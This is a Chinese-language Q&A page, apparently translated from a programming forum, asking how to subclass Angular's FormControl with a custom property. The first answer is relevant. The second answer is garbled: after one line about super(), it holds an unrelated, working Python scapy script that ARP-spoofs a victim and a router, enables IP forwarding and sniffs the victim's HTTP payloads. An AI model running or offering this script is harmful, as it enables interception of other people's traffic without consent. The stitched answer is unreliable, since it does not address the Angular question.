我正在尝试使用一些其他属性创建FormControl的子类,然后可以在我的自定义表单控件中使用它来更改行为。
我尝试从FormControl继承(比如StandardFormControl),如下所示,用于创建表单组但是当我在指令/其他地方访问formcontrol时,我没有得到子类表单控件的属性。
class StandardFormControl extends FormControl{
customProperty: string
}
表单组创建如下
new FormGroup({
firstName: new StandardFormControl('',[])
});
任何人都有任何想法?
答案 0 :(得分:1)
据我所知,你必须对表单控件进行类型转换:
// first create the form group and store it in a variable:
const formGroup = new FormGroup({
firstName: new StandardFormControl('',[])
});
// then you can access its controls:
(formGroup.get('firstName') as StandardFormControl).customProperty = 'customValue';
答案 1 :(得分:0)
您必须在构造函数中调用super()才能继承父类。
import os
import sys
i, o, e, = sys.stdin, sys.stdout, sys.stderr
from scapy.all import *
sys.stdin, sys.stdout, sys.stderr = i, o, e
VICTIM_IP = "10.0.0.164"
ROUTER_IP = "10.0.0.254"
""" finds mac of given IP """
def MACsnag(IP):
ans, unans = arping(IP)
for s, r in ans:
return r[Ether].src
""" actual spoofing process gets victim ip to think i am the router
and the router thinks i am the victim"""
def Spoof(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst=victimMAC))
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst=routerMAC))
""" returns router and victim to regular connection"""
def Restore(routerIP, victimIP):
victimMAC = MACsnag(victimIP)
routerMAC = MACsnag(routerIP)
send(ARP(op=2, pdst=routerIP, psrc=victimIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=victimMAC), count=4)
send(ARP(op=2, pdst=victimIP, psrc=routerIP, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=routerMAC), count=4)
"""filters http packets in the network"""
def httpfilter(p):
return TCP in p and p[TCP].dport == 80
"""sniffs using http filter and writes to console "i like cake" if www is in packet"""
def sniffer():
f = lambda x: x.sprintf(" Source: %IP.src% : %Ether.src%, \n %Raw.load% \n\n Reciever: %IP.dst% \n +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+\n")
pkts = sniff(lfilter=httpfilter, count=1, prn=f)
for p in pkts:
if "www" in p.sprintf('%Raw.load%'):
print "i like cake"
def main():
victimIP = VICTIM_IP
routerIP = ROUTER_IP
os.system("echo 1 > /proc/sys/net/ipv4/ip_forward")
while 1:
try:
Spoof(routerIP, victimIP)
sniffer()
Restore(routerIP, victimIP)
time.sleep(2)
except KeyboardInterrupt:
print "there was an exception"
Restore(routerIP, victimIP)
os.system("echo 0 > /proc/sys/net/ipv4/ip_forward")
if __name__ == "__main__":
main()